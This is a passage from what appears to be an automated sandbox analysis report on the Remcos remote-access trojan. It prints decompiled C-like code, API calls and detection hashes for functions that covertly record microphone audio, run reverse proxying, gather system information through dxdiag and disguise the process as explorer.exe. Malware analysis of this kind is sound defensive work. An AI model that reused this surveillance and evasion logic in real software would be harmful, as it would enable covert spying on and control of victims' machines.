                                    0x00448053
                                    0x0044805e
                                    0x0044806c
                                    0x00448074
                                    0x0044807d
                                    0x00448085
                                    0x00448099

                                    APIs
                                    • _free.LIBCMT ref: 00448005
                                      • Part of subcall function 00446652: HeapFree.KERNEL32(00000000,00000000,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?), ref: 00446668
                                      • Part of subcall function 00446652: GetLastError.KERNEL32(?,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?,?), ref: 0044667A
                                    • _free.LIBCMT ref: 00448011
                                    • _free.LIBCMT ref: 0044801C
                                    • _free.LIBCMT ref: 00448027
                                    • _free.LIBCMT ref: 00448032
                                    • _free.LIBCMT ref: 0044803D
                                    • _free.LIBCMT ref: 00448048
                                    • _free.LIBCMT ref: 00448053
                                    • _free.LIBCMT ref: 0044805E
                                    • _free.LIBCMT ref: 0044806C
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$ErrorFreeHeapLast
                                    • String ID:
                                    • API String ID: 776569668-0
                                    • Opcode ID: 6e582879fdb95b5eb241110b1c4896f2dbd4dfc0d6566bb9b95a81e2e81fb98c
                                    • Instruction ID: 844acbb74636991ad425f553195b34eaeb5776ac38af583db04914988dad5625
                                    • Opcode Fuzzy Hash: 6e582879fdb95b5eb241110b1c4896f2dbd4dfc0d6566bb9b95a81e2e81fb98c
                                    • Instruction Fuzzy Hash: 7E11FB75500108BFDB01EF95D892CDD3B6AFF15354B0340AAFA588F222DB35DE509B85
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00411443 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 67%
                                    			E00411443(void* __edx, void* __eflags, intOrPtr _a4) {
				char _v32;
				char _v56;
				void* _v60;
				char _v72;
				char _v76;
				char _v80;
				char _v88;
				char _v92;
				void* _v96;
				char _v108;
				char _v112;
				void* __ebx;
				void* __edi;
				void* __ebp;
				intOrPtr* _t26;
				char* _t34;
				char* _t37;
				intOrPtr _t50;
				char* _t51;
				char* _t58;
				intOrPtr _t60;
				intOrPtr _t61;
				char* _t65;
				void* _t68;
				intOrPtr _t121;
				void* _t125;
				void* _t128;
				void* _t130;
				void* _t131;
				void* _t133;
				void* _t135;
				signed int _t136;
				void* _t139;
				void* _t140;
				void* _t141;
				void* _t145;

				_t147 = __eflags;
				_t111 = __edx;
				_push(_t68);
				_t121 = _a4;
				E004020F6(_t68,  &_v76, __edx, __eflags, _t121 + 0xc);
				SetEvent( *(_t121 + 0x24));
				_t26 = E00401FAB( &_v80);
				E004041A2( &_v80,  &_v56, 4, 0xffffffff);
				_t139 = (_t136 & 0xfffffff8) - 0x3c;
				E004020F6(0x474ee0, _t139, _t111, _t147, 0x474ee0);
				_t140 = _t139 - 0x18;
				E004020F6(0x474ee0, _t140, _t111, _t147,  &_v72);
				E0041BD6D( &_v112, _t111);
				_t141 = _t140 + 0x30;
				_t125 =  *_t26 - 0x46;
				if(_t125 == 0) {
					E00401E65( &_v88, _t111, _t135, __eflags, 1);
					_t34 = E0040247C();
					E00401FAB(E00401E65( &_v92, _t111, _t135, __eflags, 1));
					_t112 = _t34;
					_t37 = E00411C40();
					_t127 = _t37;
					__eflags = _t37;
					if(__eflags == 0) {
						_t128 = _t141 - 0x18;
						_push("1");
						L19:
						_t111 = E00402F31( &_v32, E00401E65( &_v88, _t112, _t135, __eflags, 0), _t135, 0x474ee0);
						E00406383(0x474ee0, _t128, _t39, _t121, _t135, __eflags);
						_push(0x85);
						E00404AA1(_t121, _t39, __eflags);
						E00401FD8();
						L20:
						E00401E8D( &_v108, _t111);
						E00401FD8();
						E00401FD8();
						return 0;
					}
					 *0x472d50 = E00411EB5(_t127, "StartForward");
					 *0x472d4c = E00411EB5(_t127, "StartReverse");
					 *0x472d54 = E00411EB5(_t127, "StopForward");
					_t50 = E00411EB5(_t127, "StopReverse");
					_t112 = "GetDirectListeningPort";
					 *0x472d5c = _t50;
					_t51 = E00411EB5(_t127, "GetDirectListeningPort");
					__eflags =  *0x472d50;
					 *0x472d58 = _t51;
					if(__eflags == 0) {
						L17:
						_t128 = _t141 - 0x18;
						_push("2");
						goto L19;
					}
					__eflags =  *0x472d4c;
					if(__eflags == 0) {
						goto L17;
					}
					__eflags =  *0x472d54;
					if(__eflags == 0) {
						goto L17;
					}
					__eflags = _t51;
					if(__eflags == 0) {
						goto L17;
					}
					 *0x472d49 = 1;
					E004020F6(0x474ee0, _t141 - 0x18, "GetDirectListeningPort", __eflags, E00401E65( &_v88, "GetDirectListeningPort", _t135, __eflags, 0));
					_push(0x76);
					L10:
					E00404AA1(_t121, _t112, __eflags);
					goto L20;
				}
				_t130 = _t125 - 1;
				if(_t130 == 0) {
					_t58 =  *0x472d50(E0043B9FC(_t55, E00401FAB(E00401E65( &_v88, _t111, _t135, __eflags, 0))));
					_t145 = _t141 - 0x14;
					L9:
					_t112 = _t58;
					E0041BAE0(0x474ee0, _t145, _t58);
					_push(0x77);
					goto L10;
				}
				_t131 = _t130 - 1;
				if(_t131 == 0) {
					_t60 =  *0x472adc; // 0x804538
					_t61 =  *((intOrPtr*)(_t60 + 0x18));
					__imp__#12( *((intOrPtr*)(_t61 + 4)));
					_t65 =  *0x472d4c(_t61, E0043B9FC(_t62, E00401FAB(E00401E65( &_v92, _t111, _t135, __eflags, 0))) & 0x0000ffff);
					__eflags = _t65;
					_t109 =  !=  ? 1 :  *0x472d4a & 0x000000ff;
					 *0x472d4a =  !=  ? 1 :  *0x472d4a & 0x000000ff;
					_t112 = _t65;
					E0041BAE0(0x474ee0, _t141 - 0x10, _t65);
					_push(0x78);
					goto L10;
				}
				_t133 = _t131 - 1;
				if(_t133 == 0) {
					_t58 =  *0x472d54();
					_t145 = _t141 - 0x18;
					goto L9;
				}
				if(_t133 == 1) {
					 *0x472d5c();
					 *0x472d4a = 0;
				}
				goto L20;
			}







































                                    0x00411443
                                    0x00411443
                                    0x00411450
                                    0x00411453
                                    0x0041145a
                                    0x00411462
                                    0x0041146c
                                    0x00411480
                                    0x00411485
                                    0x00411490
                                    0x00411495
                                    0x0041149f
                                    0x004114a8
                                    0x004114ad
                                    0x004114b0
                                    0x004114b3
                                    0x0041158e
                                    0x00411595
                                    0x004115a9
                                    0x004115ae
                                    0x004115b2
                                    0x004115b7
                                    0x004115b9
                                    0x004115bb
                                    0x00411668
                                    0x0041166a
                                    0x0041166f
                                    0x00411687
                                    0x0041168b
                                    0x00411691
                                    0x00411698
                                    0x004116a1
                                    0x004116a6
                                    0x004116aa
                                    0x004116b3
                                    0x004116bc
                                    0x004116c9
                                    0x004116c9
                                    0x004115d2
                                    0x004115e3
                                    0x004115f4
                                    0x004115fb
                                    0x00411600
                                    0x00411605
                                    0x0041160c
                                    0x00411611
                                    0x00411618
                                    0x0041161d
                                    0x00411659
                                    0x0041165c
                                    0x0041165e
                                    0x00000000
                                    0x0041165e
                                    0x0041161f
                                    0x00411626
                                    0x00000000
                                    0x00000000
                                    0x00411628
                                    0x0041162f
                                    0x00000000
                                    0x00000000
                                    0x00411631
                                    0x00411633
                                    0x00000000
                                    0x00000000
                                    0x0041163b
                                    0x0041164d
                                    0x00411652
                                    0x0041157c
                                    0x0041157e
                                    0x00000000
                                    0x0041157e
                                    0x004114b9
                                    0x004114bc
                                    0x00411568
                                    0x0041156e
                                    0x00411571
                                    0x00411571
                                    0x00411575
                                    0x0041157a
                                    0x00000000
                                    0x0041157a
                                    0x004114c2
                                    0x004114c5
                                    0x004114f2
                                    0x004114f7
                                    0x004114fd
                                    0x00411523
                                    0x00411533
                                    0x00411535
                                    0x0041153b
                                    0x00411541
                                    0x00411545
                                    0x0041154a
                                    0x00000000
                                    0x0041154a
                                    0x004114c7
                                    0x004114ca
                                    0x004114e7
                                    0x004114ed
                                    0x00000000
                                    0x004114ed
                                    0x004114cf
                                    0x004114d5
                                    0x004114db
                                    0x004114db
                                    0x00000000

                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Eventinet_ntoa
                                    • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                                    • API String ID: 3578746661-3604713145
                                    • Opcode ID: 345713f7fa4e1d97647e0dbe4a7c0d255e2852dcebe146136e4625f7850e30bd
                                    • Instruction ID: dba946c42ff340a5f99750b46523807b7c05bd63bbb38a0bf58878a0e62e6202
                                    • Opcode Fuzzy Hash: 345713f7fa4e1d97647e0dbe4a7c0d255e2852dcebe146136e4625f7850e30bd
                                    • Instruction Fuzzy Hash: 8C51B531A042015BC624FB36D91AAAE36A5AB84344F40453FF906A76F1EF7C8985C7CE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00455E55 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456F4F), ref: 00455E78
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: DecodePointer
                                    • String ID: acos$asin$exp$log$log10$pow$sqrt
                                    • API String ID: 3527080286-3064271455
                                    • Opcode ID: 37b4b558a7fc3e94465f1e3722932074b84e94574c8b2ef6727b8206a62ee569
                                    • Instruction ID: 3e23340d49241617a7d1f8c0e04ac173151e30bbe4d62ceb83dd5e90afc2e696
                                    • Opcode Fuzzy Hash: 37b4b558a7fc3e94465f1e3722932074b84e94574c8b2ef6727b8206a62ee569
                                    • Instruction Fuzzy Hash: 30516F71900A09CBCF10DF58E9581BEBBB0FF49306F61419BD841A7296CB799E198B1E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004173E7 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 92%
                                    			E004173E7(void* __ecx, void* __edx, void* __edi, void* __eflags, char _a4) {
				char _v28;
				char _v52;
				char _v76;
				char _v204;
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t46;
				void* _t54;
				void* _t55;
				void* _t90;
				void* _t92;
				void* _t93;

				_t95 = __eflags;
				_t90 = __edi;
				E00403014(_t54,  &_v76, E0040417E(_t54,  &_v52, __edx, _t92, E0043C01F(_t54, __ecx, __eflags, L"temp")), _t90, _t92, _t95, L"\\sysinfo.txt");
				E00401F09();
				_t55 = 0;
				ShellExecuteW(0, L"open", L"dxdiag", E00401F04(E0040B8CA( &_v52, L"/t ", _t92,  &_v76)), 0, 0);
				E00401F09();
				E004020DF(0,  &_v28);
				_t91 = 0;
				do {
					E00401F04( &_v76);
					_t88 =  &_v28;
					E0041C3D7( &_v28);
					Sleep(0x64);
					_t91 = _t91 + 1;
				} while (E00406B28() != 0 && _t91 < 0x4b0);
				if(E00406B28() == 0) {
					DeleteFileW(E00401F04( &_v76));
					_t75 =  &_v204;
					E004046F7( &_v204, _t92, 1);
					_t46 = E004048C8( &_v204, _t91, _t75);
					_t100 = _t46;
					if(_t46 != 0) {
						_t91 = _t93 - 0x18;
						_t88 = E00402F31( &_v52,  &_a4, _t92, 0x474ee0);
						E00402F10(_t55, _t93 - 0x18, _t49, _t92, _t100,  &_v28);
						_push(0x97);
						E00404AA1( &_v204, _t49, _t100);
						E00401FD8();
						E00404E26(_t88);
						_t55 = 1;
					}
					E00404EE2(_t55,  &_v204, _t88, _t91);
				}
				E00401FD8();
				E00401F09();
				E00401FD8();
				return _t55;
			}
















                                    0x004173e7
                                    0x004173e7
                                    0x00417410
                                    0x00417419
                                    0x0041741e
                                    0x00417447
                                    0x00417450
                                    0x00417458
                                    0x0041745d
                                    0x0041745f
                                    0x00417462
                                    0x00417467
                                    0x0041746c
                                    0x00417473
                                    0x0041747c
                                    0x00417482
                                    0x00417498
                                    0x004174a7
                                    0x004174af
                                    0x004174b5
                                    0x004174c1
                                    0x004174c6
                                    0x004174c8
                                    0x004174d0
                                    0x004174e4
                                    0x004174e8
                                    0x004174ee
                                    0x004174f9
                                    0x00417501
                                    0x0041750c
                                    0x00417511
                                    0x00417511
                                    0x00417519
                                    0x00417519
                                    0x00417521
                                    0x00417529
                                    0x00417531
                                    0x0041753d

                                    APIs
                                    • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 00417447
                                      • Part of subcall function 0041C3D7: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,0040A791), ref: 0041C3F0
                                    • Sleep.KERNEL32(00000064), ref: 00417473
                                    • DeleteFileW.KERNEL32(00000000), ref: 004174A7
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$CreateDeleteExecuteShellSleep
                                    • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                    • API String ID: 1462127192-2001430897
                                    • Opcode ID: 9f7bcade60457c3dabe1888cc502039db2f2c920ab4a99bba649f5f31e05eddc
                                    • Instruction ID: 651b0b22f444994e82a73895b76bad435694af83d3e45a8fe8189976902c6c3b
                                    • Opcode Fuzzy Hash: 9f7bcade60457c3dabe1888cc502039db2f2c920ab4a99bba649f5f31e05eddc
                                    • Instruction Fuzzy Hash: D1312E719401199ADB14FBA1DC96DEDB735AF10309F00017EF606720E2EF785A8ACA9C
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 15%
                                    			E004073AC(void* __edx, void* __esi, void* __ebp) {
				char _v4;
				signed int _v20;
				void* __ebx;
				void* __ecx;
				signed int _t19;
				void* _t40;
				void* _t48;
				intOrPtr _t49;
				void* _t52;
				void* _t53;
				void* _t54;
				void* _t56;
				char* _t57;
				void* _t59;
				signed int _t65;

				_t56 = __ebp;
				_t53 = __esi;
				_t52 = _t48;
				if(_t52 != 0) {
					L3:
					 *0x472b04(_t53, _t56);
					_t54 = E00407257();
					if(_t52 == 0) {
						_t49 =  *((intOrPtr*)(_t54 + 0x10));
						_t57 = L"explorer.exe";
						 *0x475a18 =  *(_t49 + 0x3c);
						 *0x475a1c =  *(_t49 + 0x44);
						_t19 =  *0x472b14; // 0x0
					} else {
						_t57 =  *0x475a1c;
						_t19 =  *0x475a18;
					}
					 *0x472afc( *((intOrPtr*)(_t54 + 0x10)) + 0x38, _t19);
					 *0x472afc( *((intOrPtr*)(_t54 + 0x10)) + 0x40, _t57);
					if(_t52 != 0) {
						_v20 = _v20 & 0x00000000;
						 *0x472b0c(GetCurrentProcess(), 0x472b14,  &_v20, 0x8000);
						 *0x472b14 =  *0x472b14 & 0x00000000;
						_t65 =  *0x472b14;
					}
					E00407200(_t65, "PEB: %x\n", _t54);
					E004071CB(_t65);
					E00407200(_t65, 0x4660c0,  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x10)) + 0x3c)));
					E004071CB(_t65);
					E00407200(_t65, 0x4660c0,  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x10)) + 0x44)));
					 *0x472b10();
					return  *0x472af8(0, E00407309, _t52);
				}
				 *0x472b14 =  *0x472b14 & 0x00000000;
				_v4 = 0x1000;
				_t40 =  *0x472b00(GetCurrentProcess(), 0x472b14, 0,  &_v4, 0x3000, 4);
				_t62 = _t40;
				if(_t40 < 0) {
					_push("[-] NtAllocateVirtualMemory Error\n");
					return E00407200(__eflags);
				}
				E0043F759( *0x472b14, E0043C01F(GetCurrentProcess, _t48, _t62, L"windir"));
				E0043F77B( *0x472b14, L"\\explorer.exe");
				_push("[+] NtAllocateVirtualMemory Success\n");
				E00407200(_t62);
				_t59 = _t59 + 0x18;
				goto L3;
			}


















                                    0x004073ac
                                    0x004073ac
                                    0x004073b5
                                    0x004073b9
                                    0x0040741d
                                    0x0040741f
                                    0x0040742a
                                    0x0040742e
                                    0x0040744d
                                    0x00407450
                                    0x00407458
                                    0x00407460
                                    0x00407465
                                    0x00407430
                                    0x00407430
                                    0x00407436
                                    0x00407436
                                    0x00407472
                                    0x00407480
                                    0x00407488
                                    0x0040748a
                                    0x004074a1
                                    0x004074a7
                                    0x004074a7
                                    0x004074a7
                                    0x004074b4
                                    0x004074bf
                                    0x004074ca
                                    0x004074d5
                                    0x004074db
                                    0x004074e3
                                    0x00000000
                                    0x004074f8
                                    0x004073bb
                                    0x004073d5
                                    0x004073e0
                                    0x004073e6
                                    0x004073e8
                                    0x0040743d
                                    0x00000000
                                    0x00407447
                                    0x004073fb
                                    0x0040740b
                                    0x00407410
                                    0x00407415
                                    0x0040741a
                                    0x00000000

                                    APIs
                                    • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
                                    • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Windows\SysWOW64\SndVol.exe), ref: 0040749E
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CurrentProcess
                                    • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                                    • API String ID: 2050909247-4242073005
                                    • Opcode ID: b2e0e9f0d7456a9b5ca04abb3f63e4bd9b53d240322e044230a19b61e4512947
                                    • Instruction ID: df641bba588864e0bc6125b0440cacd3dd77e9e82e6bd32c0043c5b2de3ff829
                                    • Opcode Fuzzy Hash: b2e0e9f0d7456a9b5ca04abb3f63e4bd9b53d240322e044230a19b61e4512947
                                    • Instruction Fuzzy Hash: 7531A571A04700ABD321FF65ED46F167BB8AB44305F10087EF519A6292E7B8F8448B6F
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 91%
                                    			E00401D0B(void* __ebx, void* __edx, void* __edi, intOrPtr _a8) {
				char _v84;
				char _v112;
				void* _v116;
				char _v136;
				void* _v140;
				char _v160;
				void* _v164;
				char _v184;
				void* _v188;
				char _v204;
				char _v208;
				void* _v212;
				char _v228;
				char _v232;
				char _v236;
				void* __esi;
				void* __ebp;
				void* _t29;
				intOrPtr _t43;
				void* _t76;
				void* _t79;

				_t47 = __ebx;
				_push(_t76);
				E00401F86(__ebx,  &_v228);
				_t84 = _a8 - 0x3c0;
				if(_a8 == 0x3c0) {
					E00401707();
					E0043A8B9( &_v84, 0x50, "%Y-%m-%d %H.%M", E004016FF());
					E00402093(__ebx,  &_v204, __edx, _t79,  &_v84);
					_push(L".wav");
					_t29 = E0041BBB0( &_v112,  &_v208);
					E00401F13( &_v232, _t31, _t76, E00403014(_t47,  &_v184, E00402FA5( &_v160, E00402F72(__ebx,  &_v136, 0x474d64, _t79), 0x5c), __edi, _t79, _t84, _t29));
					E00401F09();
					E00401F09();
					E00401F09();
					E00401F09();
					E00401FD8();
					E00401A6D(E00401F04( &_v236), 0x472a88);
					waveInUnprepareHeader( *0x472ac0, 0x472a88, 0x20);
					0x472a88->lpData = E00401FAB(0x474d7c);
					_t43 =  *0x472ac4; // 0x0
					 *0x472a8c = _t43;
					 *0x472a90 = 0;
					 *0x472a94 = 0;
					 *0x472a98 = 0;
					 *0x472a9c = 0;
					waveInPrepareHeader( *0x472ac0, 0x472a88, 0x20);
					waveInAddBuffer( *0x472ac0, 0x472a88, 0x20);
				}
				return E00401F09();
			}
























                                    0x00401d0b
                                    0x00401d1b
                                    0x00401d1c
                                    0x00401d21
                                    0x00401d28
                                    0x00401d32
                                    0x00401d50
                                    0x00401d64
                                    0x00401d69
                                    0x00401d79
                                    0x00401dad
                                    0x00401db6
                                    0x00401dbf
                                    0x00401dc8
                                    0x00401dd4
                                    0x00401ddd
                                    0x00401df4
                                    0x00401e02
                                    0x00401e14
                                    0x00401e19
                                    0x00401e25
                                    0x00401e2c
                                    0x00401e31
                                    0x00401e36
                                    0x00401e3b
                                    0x00401e40
                                    0x00401e4f
                                    0x00401e4f
                                    0x00401e62

                                    APIs
                                    • _strftime.LIBCMT ref: 00401D50
                                      • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                    • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000,?), ref: 00401E02
                                    • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                                    • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                    • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                                    • API String ID: 3809562944-243156785
                                    • Opcode ID: cd17c03488737074d697dee3a7117d008c05136f61540d2afcfe7f873e90fa7f
                                    • Instruction ID: ca6f81f6ad6e817ecd44639c9f37ba8af3b7eb584867e29cd4fcf2c4d1b1a1e8
                                    • Opcode Fuzzy Hash: cd17c03488737074d697dee3a7117d008c05136f61540d2afcfe7f873e90fa7f
                                    • Instruction Fuzzy Hash: 013161315043019FC325EB61DD56A9A77A8EB94314F40443EF18DA21F1EFB89A49CB5E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 95%
                                    			E00401BE9(void* __eflags) {
				signed short _t3;
				signed int _t7;
				signed int _t15;
				signed int _t24;
				signed int _t25;
				void* _t33;
				intOrPtr* _t34;
				void* _t35;

				_t35 = __eflags;
				CreateDirectoryW(E00401F04(0x474d64), 0);
				_t3 = 8;
				 *0x472ab6 = _t3;
				 *0x472aac = 0x1f40;
				 *0x472ab0 = 0x1f40;
				0x472aa8->wFormatTag = 1;
				 *0x472aaa = 1;
				 *0x472ab4 = 1;
				 *0x472ab8 = 0;
				_t7 = E0043B9FC(_t5, E00401FAB(E00401E65(0x4750e4, 1, _t33, _t35, 0x24)));
				_t24 =  *0x472aac; // 0x0
				 *_t34 = 0x30008;
				_t25 = _t24 * _t7 * 0x3c;
				 *0x472abc = _t25;
				 *0x472ac4 = (( *0x472ab6 & 0x0000ffff) >> 3) * _t25;
				waveInOpen(0x472ac0, 0xffffffff, 0x472aa8, E00401D0B, 0, ??);
				E00401F9D( *0x472ac4);
				0x472a88->lpData = E00401FAB(0x474d7c);
				_t15 =  *0x472ac4; // 0x0
				 *0x472a8c = _t15;
				 *0x472a90 = 0;
				 *0x472a94 = 0;
				 *0x472a98 = 0;
				 *0x472a9c = 0;
				waveInPrepareHeader( *0x472ac0, 0x472a88, 0x20);
				waveInAddBuffer( *0x472ac0, 0x472a88, 0x20);
				waveInStart( *0x472ac0);
				return 0;
			}











                                    0x00401be9
                                    0x00401bf9
                                    0x00401c01
                                    0x00401c07
                                    0x00401c0f
                                    0x00401c16
                                    0x00401c1e
                                    0x00401c2c
                                    0x00401c33
                                    0x00401c3a
                                    0x00401c4d
                                    0x00401c52
                                    0x00401c5b
                                    0x00401c6d
                                    0x00401c84
                                    0x00401c8a
                                    0x00401c8f
                                    0x00401ca2
                                    0x00401cb5
                                    0x00401cba
                                    0x00401cc6
                                    0x00401ccb
                                    0x00401cd1
                                    0x00401cd7
                                    0x00401cdd
                                    0x00401ce3
                                    0x00401cf2
                                    0x00401cfe
                                    0x00401d08

                                    APIs
                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                                    • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000,00000024), ref: 00401C8F
                                    • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                                    • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                                    • waveInStart.WINMM ref: 00401CFE
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                    • String ID: dMG$|MG$PG
                                    • API String ID: 1356121797-532278878
                                    • Opcode ID: bffd058d0cce0d418155110328b7dcc06e7789a881bbcb9bf44c325b44d9ddd5
                                    • Instruction ID: 2d6cbb63703068b37a2c5777402e56a11e0714c769ae5efd2f40120584b6a033
                                    • Opcode Fuzzy Hash: bffd058d0cce0d418155110328b7dcc06e7789a881bbcb9bf44c325b44d9ddd5
                                    • Instruction Fuzzy Hash: F6211971604201AFC7399F6AEE15A6A7BB6EB94715B00803EA10DD76B1DBB84881CB5C
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041D3AF Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041D3AF(void* __eflags) {
				struct tagMSG _v32;
				char _v300;
				int _t14;

				GetModuleFileNameA(0,  &_v300, 0x104);
				 *0x474b4c = E0041D461();
				0x474b48->cbSize = 0x1fc;
				 *0x474b50 = 1;
				 *0x474b58 = 0x401;
				 *0x474b5c = ExtractIconA(0,  &_v300, 0);
				lstrcpynA(0x474b60, "Remcos", 0x80);
				 *0x474b54 = 7;
				Shell_NotifyIconA(0, 0x474b48);
				while(1) {
					_t14 = GetMessageA( &_v32, 0, 0, 0);
					if(_t14 == 0) {
						break;
					}
					TranslateMessage( &_v32);
					DispatchMessageA( &_v32);
				}
				return _t14;
			}






                                    0x0041d3c8
                                    0x0041d3d3
                                    0x0041d3e1
                                    0x0041d3eb
                                    0x0041d3f5
                                    0x0041d414
                                    0x0041d419
                                    0x0041d425
                                    0x0041d42f
                                    0x0041d44b
                                    0x0041d452
                                    0x0041d45a
                                    0x00000000
                                    0x00000000
                                    0x0041d43b
                                    0x0041d445
                                    0x0041d445
                                    0x0041d460

                                    APIs
                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D3C8
                                      • Part of subcall function 0041D461: RegisterClassExA.USER32(00000030), ref: 0041D4AD
                                      • Part of subcall function 0041D461: CreateWindowExA.USER32 ref: 0041D4C8
                                      • Part of subcall function 0041D461: GetLastError.KERNEL32 ref: 0041D4D2
                                    • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D3FF
                                    • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D419
                                    • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D42F
                                    • TranslateMessage.USER32(?), ref: 0041D43B
                                    • DispatchMessageA.USER32 ref: 0041D445
                                    • GetMessageA.USER32 ref: 0041D452
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                    • String ID: Remcos
                                    • API String ID: 1970332568-165870891
                                    • Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                                    • Instruction ID: 7815abae628ca5057d5337c9090db2431c784708025746f0c73e5392d5ddea94
                                    • Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                                    • Instruction Fuzzy Hash: 55015271800245EBD7109FA5EC4CFEABB7CEB85B05F004026F615930A1D778E885CB59
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0044CC50 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 77%
                                    			E0044CC50(signed int _a4, void* _a8, unsigned int _a12) {
				signed int _v5;
				char _v6;
				void* _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _v32;
				long _v36;
				void* _v40;
				long _v44;
				signed int* _t143;
				signed int _t145;
				intOrPtr _t149;
				signed int _t153;
				signed int _t155;
				signed char _t157;
